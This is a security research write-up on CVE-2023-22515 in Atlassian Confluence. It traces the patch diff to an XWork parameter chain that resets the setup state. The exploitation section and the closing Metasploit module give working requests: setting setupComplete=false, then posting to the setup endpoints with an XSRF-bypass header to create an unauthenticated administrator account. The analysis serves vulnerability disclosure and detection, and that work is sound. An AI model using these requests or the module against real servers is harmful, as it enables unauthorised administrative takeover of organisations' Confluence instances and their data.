Recently, Atlassian published an article about a critical Broken Access Control vulnerability affecting Confluence Data Center and Server. Atlassian announced in the update that the vulnerability has benn actively exploited and scored as CVSS 10.

Atlassian also published a threat detection and recommended disabling all setup endpoints on servers that have not yet received the update. They also announced the following as additional information about threat detection:

  • Unexpected members of the confluence-administrators group
  • Unexpected newly created user accounts
  • Requests to /setup/*.action in network access logs
  • Presence of /setup/setupadministrator.action in an exception message in atlassian-confluence-security.log in the Confluence home directory

Based on the advisory and threat detection published by Atlassian, our team started an analysis to detect the vulnerability.

Analysis Link to heading

We know from Atlassian’s advisory that the vulnerability is related to setup endpoints. So after de-compiling the com.atlassian_confluence_confluence-8.0.0.0.jar file, we started looking at the changes made to the setup endpoints and found something that we think may be about the vulnerability.

A new file named ReadOnlyApplicationConfig.java has been added under the /impl/setup folder.

+package com.atlassian.confluence.impl.setup;
+
+import com.atlassian.config.ApplicationConfiguration;
+import com.atlassian.config.ConfigurationException;
+import com.atlassian.config.ConfigurationPersister;
+
+public class ReadOnlyApplicationConfig
+implements ApplicationConfiguration {
+    private final ApplicationConfiguration delegate;
+
+    public ReadOnlyApplicationConfig(ApplicationConfiguration delegate) {
+        this.delegate = delegate;
+    }
+
+    // .... some codes here
+
+    public boolean isSetupComplete() {
+        return this.delegate.isSetupComplete();
+    }
+
+    public void setSetupComplete(boolean setupComplete) {
+        throw new UnsupportedOperationException("Mutation not allowed");
+    }
+
+    public void setConfigurationPersister(ConfigurationPersister config) {
+        throw new UnsupportedOperationException("Mutation not allowed");
+    }
+
+    public void save() throws ConfigurationException {
+        throw new UnsupportedOperationException("Mutation not allowed");
+    }
+
+    public void reset() {
+        throw new UnsupportedOperationException("Mutation not allowed");
+    }
+
+    public String getSetupType() {
+        return this.delegate.getSetupType();
+    }
+
+    public void setSetupType(String setupType) {
+        throw new UnsupportedOperationException("Mutation not allowed");
+    }
+
+    public String getCurrentSetupStep() {
+        return this.delegate.getCurrentSetupStep();
+    }
+
+    public void setCurrentSetupStep(String currentSetupStep) {
+        throw new UnsupportedOperationException("Mutation not allowed");
+    }
+
+    // .... some codes here
+
}

There are methods like setCurrentSetupStep, setSetupStep and when these methods are called from the ReadOnlyApplicationConfig class, they return an error message that Mutation is not allowed.

Most important method we need to look at is the setSetupComplete method in here. This method prevents changing the setup state in the application.

The ReadOnlyApplicationConfig.java file name and the use of the setSetupComplete method and similar methods here make us think that the vulnerability is related to modifying the application config. So how?

Firstly, we need to look at where the ReadOnlyApplicationConfig class is imported and used. I used a Bash command for this, but you can also do it by opening the code in an application like Intellij.

find confluence-8.3.3/com/atlassian/confluence/ -name "*.java"|xargs grep "ReadOnlyApplicationConfig" --color

The output of the bash command shows that this class is imported and used in BootstrapStatusProviderImpl.java file.

com/atlassian/confluence/impl/setup/ReadOnlyApplicationConfig.java:public class ReadOnlyApplicationConfig
com/atlassian/confluence/impl/setup/ReadOnlyApplicationConfig.java:    public ReadOnlyApplicationConfig(ApplicationConfiguration delegate) {
com/atlassian/confluence/impl/setup/BootstrapStatusProviderImpl.java:import com.atlassian.confluence.impl.setup.ReadOnlyApplicationConfig;
com/atlassian/confluence/impl/setup/BootstrapStatusProviderImpl.java:        return new ReadOnlyApplicationConfig(this.delegate.getApplicationConfig());

If you diff BootstrapStatusProviderImpl.java file between the vulnerable and fixed versions, you will see that the getApplicationConfig method is returned after calling the ReadOnlyApplicationConfig method, instead of returned by itself.

Something similar is done in the ReadOnlySetupPersister class in the fixed version.

+import com.atlassian.confluence.impl.setup.ReadOnlyApplicationConfig;
+import com.atlassian.confluence.impl.setup.ReadOnlySetupPersister;
 import com.atlassian.confluence.setup.BootstrapManagerInternal;
 import com.atlassian.confluence.setup.BootstrapStatusProvider;
 import com.atlassian.confluence.setup.BootstrapStatusProviderException;

public class BootstrapStatusProviderImpl implements BootstrapStatusProvider, BootstrapManagerInternal {
 
     @Override
     public ApplicationConfiguration getApplicationConfig() {
-        return this.delegate.getApplicationConfig();
+        return new ReadOnlyApplicationConfig(this.delegate.getApplicationConfig());
     }
 
     @Override
     public SetupPersister getSetupPersister() {
-        return this.delegate.getSetupPersister();
+        return new ReadOnlySetupPersister(this.delegate.getSetupPersister());
     } 
}

To find where the getApplicationConfig method is used, we are looking for where the BootstrapStatusProviderImpl class is used in the source code.

find confluence-8.3.3/com/atlassian/confluence/ -name "*.java"|xargs grep "BootstrapStatusProviderImpl" --color

Inside the ConfluenceActionSupport.java file, we see that the BootstrapStatusProviderImpl class is used.

public class ConfluenceActionSupport extends ActionSupport implements LocaleProvider, WebInterface, MessageHolderAware {
 
  // .... some codes

  public BootstrapStatusProvider getBootstrapStatusProvider() {
          if (this.bootstrapStatusProvider == null) {
              this.bootstrapStatusProvider = BootstrapStatusProviderImpl.getInstance();
          }
 
          return this.bootstrapStatusProvider;
      }

  // .... some codes
}

The BootstrapStatusProviderImpl class is used inside the ConfluenceActionSupport class using the getInstance method. However, we cannot access the ConfluenceActionSupport class directly. So, we need to find out where the ConfluenceActionSupport class is also used.

After a quick search, we see that some basic actions are extended with the ConfluenceActionSupport class. Some of them are the following:

  • AttachmentNotFoundAction
  • FourOhFourAction
  • IndexAction
  • ServerInfoAction

The classes mentioned above are located in actions under the /com/atlassian/confluence/core folder. So, to find out how we can access these actions, we look at the contents of the struts.xml file in the jar file we decompiled.

<action name="notfound" class="com.atlassian.confluence.core.actions.FourOhFourAction">
  <interceptor-ref name="defaultStack"/>
  <result name="success" type="redirect">/fourohfour.action</result>
</action>

<action name="fourohfour" class="com.atlassian.confluence.core.actions.FourOhFourAction">
    <interceptor-ref name="defaultStack"/>

    <result name="error" type="velocity">/404.vm</result>
    <result name="success" type="velocity">/404.vm</result>
    <result name="setup-success" type="velocity">/setup/404.vm</result>
    <result name="login" type="redirect">${loginUrl}</result>
</action>

// .... some codes 

<action name="index" class="com.atlassian.confluence.core.actions.IndexAction">
    <interceptor-ref name="defaultStack"/>
    <result name="redirect" type="redirect">${location}</result>
    <result name="forward" type="dispatcher">${location}</result>
</action>

// .... some codes

<action name="server-info" class="com.atlassian.confluence.core.actions.ServerInfoAction">
    <result name="success" type="rawText">success</result>
</action>

There is a redirection in all actions except the server-info action. So we know that it is extended with ConfluenceActionSupport, we start to examine the content of the ServerInfoAction class.

package com.atlassian.confluence.core.actions;

import com.atlassian.annotations.security.XsrfProtectionExcluded;
import com.atlassian.confluence.core.ConfluenceActionSupport;
import com.atlassian.confluence.security.access.annotations.PublicAccess;
import com.atlassian.xwork.HttpMethod;
import com.atlassian.xwork.PermittedMethods;

public class ServerInfoAction extends ConfluenceActionSupport {
    public ServerInfoAction() {
    }

    @PermittedMethods({HttpMethod.ANY_METHOD})
    @XsrfProtectionExcluded
    @PublicAccess
    public String execute() throws Exception {
        return "success";
    }
}

The @PublicAccess annotation means that this action is accessible as unauthenticated. To verify this, we send a request to the server-info.action endpoint.

server-info.action

We have a theory about what the vulnerability is. We also have an endpoint that we can trigger using this theory without authenticated. So what is the vulnerability and how do we trigger it?

If you examine the ServerInfoAction class in more detail, you can see that a library called xwork is imported (you can also see this in other actions).

Xwork is basically a generic command pattern framework that comes in Apache Struts. There is some useful information on the page where Apache explains Xwork in more detail.

  • Core command pattern framework which can be customized and extended through the use of interceptors to fit any request/response environment
  • Built-in type conversion and action property validation using OGNL

We know the risks OGNL can cause with previous vulnerabilities in Confluence, such as CVE-2022-26134.

There is nothing like OGNL Injection in this vulnerability, but we know that XWork can call appropriate setters and getters with the names it receives from HTTP parameters via ParametersInterceptor. For example:

/user/details?user.fullname.name=doe HTTP/1.1

This request will be intercepted via XWork’s ParameterInterceptor and if the user, full name and name getters/setters are present in the code, they will be called as follows:

action.getUser().getFullname().setName("doe")

If you use XWork without checking the values you get from HTTP parameters, attackers will be able to use the getter/setter methods in the code as they wish. So how can we use this? We need to take a look at the interceptors related to setup. You can find interceptor definitions in the struts.xml file.

You can see that an interceptor named setup hits the SetupCheckInterceptor class.

// .... some definitions 
<interceptor name="setup" class="com.atlassian.confluence.setup.actions.SetupCheckInterceptor"/>
// .... some definitions

Inside the SetupCheckInterceptor, you can see that it calls the isSetupComplete method.

public class DefaultAtlassianBootstrapManager implements AtlassianBootstrapManager {

  // .... some codes

  public boolean isSetupComplete() {
    return (isBootstrapped() && this.applicationConfig.isSetupComplete()); 
  }  

  // .... some codes
}

That’s where it checks if the application has been installed before or not. So if we can change the return value of the isSetupComplete method, the application will behave as if it has never been installed before and we will be able to access the installation endpoints unauthenticated.

So, to do this, we’ll create a getter/setter chain using XWork’s ParameterInterceptors property mentioned above and change the value of the isSetupComplete method to false.

If you remember, we mentioned the ConfluenceActionSupport class above.

public class ConfluenceActionSupport extends ActionSupport implements LocaleProvider, WebInterface, MessageHolderAware {
  
  // .... some codes

  public BootstrapStatusProvider getBootstrapStatusProvider() {
          if (this.bootstrapStatusProvider == null) {
              this.bootstrapStatusProvider = BootstrapStatusProviderImpl.getInstance();
          }
  
          return this.bootstrapStatusProvider;
      }

  // .... some codes
}

There is a setter method named getBootstrapStatusProvider in this class that calls BootstrapStatusProviderImpl. We will call this getter in the first HTTP parameter for getter/setter chain.

/server-info.action?bootstrapStatusProvider

In the vulnerable version, the getApplicationConfig method was called directly in the BootstrapStatusProviderImpl class.

public class BootstrapStatusProviderImpl implements BootstrapStatusProvider, BootstrapManagerInternal {

  // .... some codes

  public ApplicationConfiguration getApplicationConfig() {
    return this.delegate.getApplicationConfig();
  }

  // .... some codes
}

Here, the application config is called with a setter method named getApplicationConfig. So we are adding this getter as well.

/server-info.action?bootstrapStatusProvider.applicationConfig

And finally, when we look inside the ApplicationConfig class, we see that there is a setter method called setSetupComplete (Does that sound familiar? :) ).

public class ApplicationConfig implements ApplicationConfiguration {
  
// .... some codes

  public synchronized void setSetupComplete(boolean setupComplete) {
    this.setupComplete = setupComplete;
  }

// .... some codes
}

When we add this setter to our chain, we can now change the application setup config to false and make it behave as if it has never been installed before!

/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false

So, we actually created a getter/setter chain in the application follows:

getBootstrapStatusProvider().getApplicationConfig().setSetupComplete(false);

Explotation Link to heading

When analyzing the vulnerability, we used the server-info action, which can be accessed as unauthenticated but you should know that the vulnerability is not limited to this endpoint.

Because interceptors in Apache Struts can execute both before and after an action is executed. So, no matter which action you call that is extended with the ConfluenceActionSupport class, you can trigger the vulnerability because the interceptor will be triggered before the action.

For example, you can use the fourofhour action instead of the server-info action.

/fourofhour.action?bootstrapStatusProvider.applicationConfig.setupComplete=false

Also, with this GET request, we are changing the configuration so that the application has not been installed before but we are not doing any re-installation.

Instead of that, we add a new admin account to the application using the /setup/setupadministrator.action endpoint and finish the setup by sending a request to the /setup/finishsetup.action endpoint.

POST /setup/setupadministrator.action HTTP/1.1
Host: confluence.local:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
X-Atlassian-Token: no-check
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
Connection: close

username=norbert&fullName=New%20Admin&email=ronny_greenfelder%40rolfson.name&password=QcbRmeDg&confirm=QcbRmeDg&setup-next-button=Next

When sending a request to the /setup/setupadministrator.action endpoint, don’t forget the send X-Atlassian-Token: no-check header. This will bypass the XSRF check.

After doing this, finish the setup by sending a request to the /setup/finishsetup.action endpoint and log in to the account with the new admin account you created!

POST /setup/finishsetup.action HTTP/1.1
Host: 192.168.37.128:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Connection: close

Metasploit Module Link to heading

We also developed a Metasploit Auxiliary module that exploits this vulnerability and creates a new admin account in the system.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Atlassian Confluence Data Center and Server Authentication Bypass via Broken Access Control',
        'Description' => %q{
          This module exploits a broken access control vulnerability in Atlassian Confluence servers leading to an authentication bypass.
          A specially crafted request can be create new admin account without authentication on the target Atlassian server.
        },
        'Author' => [
          'Unknown', # exploited in the wild
          'Emir Polat' # metasploit module
        ],
        'References' => [
          ['CVE', '2023-22515'],
          ['URL', 'https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html'],
          ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-22515'],
          ['URL', 'https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis']
        ],
        'DisclosureDate' => '2023-10-04',
        'DefaultOptions' => {
          'RPORT' => 8090
        },
        'License' => MSF_LICENSE,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username], regex: /^[a-z._@]+$/),
      OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(8)]),
      OptString.new('NEW_EMAIL', [true, 'E-mail to be used when creating a new user with admin privileges', Faker::Internet.email])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/login.action')
    )
    return Exploit::CheckCode::Unknown unless res
    return Exploit::CheckCode::Safe unless res.code == 200

    poweredby = res.get_xml_document.xpath('//ul[@id="poweredby"]/li[@class="print-only"]/text()').first&.text
    return Exploit::CheckCode::Safe unless poweredby =~ /Confluence (\d+(\.\d+)*)/

    confluence_version = Rex::Version.new(Regexp.last_match(1))

    vprint_status("Detected Confluence version: #{confluence_version}")

    if confluence_version.between?(Rex::Version.new('8.0.0'), Rex::Version.new('8.3.2')) ||
       confluence_version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.2')) ||
       confluence_version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.1'))
      return Exploit::CheckCode::Appears("Exploitable version of Confluence: #{confluence_version}")
    end

    Exploit::CheckCode::Safe("Confluence version: #{confluence_version}")
  end

  def run
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/server-info.action'),
      'vars_get' => {
        'bootstrapStatusProvider.applicationConfig.setupComplete' => 'false'
      }
    )

    return fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Version vulnerable but setup is already completed') unless res&.code == 302 || res&.code == 200

    print_good('Found server-info.action! Trying to ignore setup.')

    created_user = create_admin_user

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'setup/finishsetup.action'),
      'headers' => {
        'X-Atlassian-Token' => 'no-check'
      }
    )

    return fail_with(Msf::Exploit::Failure::NoAccess, 'The admin user could not be created. Try a different username.') unless created_user

    print_warning('Admin user was created but setup could not be completed.') unless res&.code == 200

    create_credential({
      workspace_id: myworkspace_id,
      origin_type: :service,
      module_fullname: fullname,
      username: datastore['NEW_USERNAME'],
      private_type: :password,
      private_data: datastore['NEW_PASSWORD'],
      service_name: 'Atlassian Confluence',
      address: datastore['RHOST'],
      port: datastore['RPORT'],
      protocol: 'tcp',
      status: Metasploit::Model::Login::Status::UNTRIED
    })

    print_good("Admin user was created successfully. Credentials: #{datastore['NEW_USERNAME']} - #{datastore['NEW_PASSWORD']}")
    print_good("Now you can login as administrator from: http://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}login.action")
  end

  def create_admin_user
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'setup/setupadministrator.action'),
      'headers' => {
        'X-Atlassian-Token' => 'no-check'
      },
      'vars_post' => {
        'username' => datastore['NEW_USERNAME'],
        'fullName' => 'New Admin',
        'email' => datastore['NEW_EMAIL'],
        'password' => datastore['NEW_PASSWORD'],
        'confirm' => datastore['NEW_PASSWORD'],
        'setup-next-button' => 'Next'
      }
    )
    res&.code == 302
  end
end

You can use this module in metasploit via:

use auxiliary/admin/http/atlassian_confluence_auth_bypass

References Link to heading